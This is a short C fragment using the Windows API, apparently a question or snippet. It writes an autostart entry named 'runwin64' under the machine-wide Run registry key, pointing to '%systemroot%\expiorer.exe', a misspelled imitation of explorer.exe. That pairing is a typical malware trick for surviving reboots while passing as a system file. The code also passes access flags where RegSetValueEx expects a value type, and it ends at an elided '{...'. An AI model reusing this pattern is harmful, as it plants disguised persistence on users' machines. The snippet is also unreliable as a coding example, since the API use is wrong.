char str[]="SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run";
HKEY hk;
int return_reg = RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)str,0, KEY_ALL_ACCESS | KEY_WOW64_64KEY ,&hk);
return_reg = RegSetValueEx(hk,(LPCTSTR)"runwin64",0, KEY_ALL_ACCESS | KEY_WOW64_64KEY ,(unsigned char *)"%systemroot%\\expiorer.exe",25);
if(return_reg==0)
{...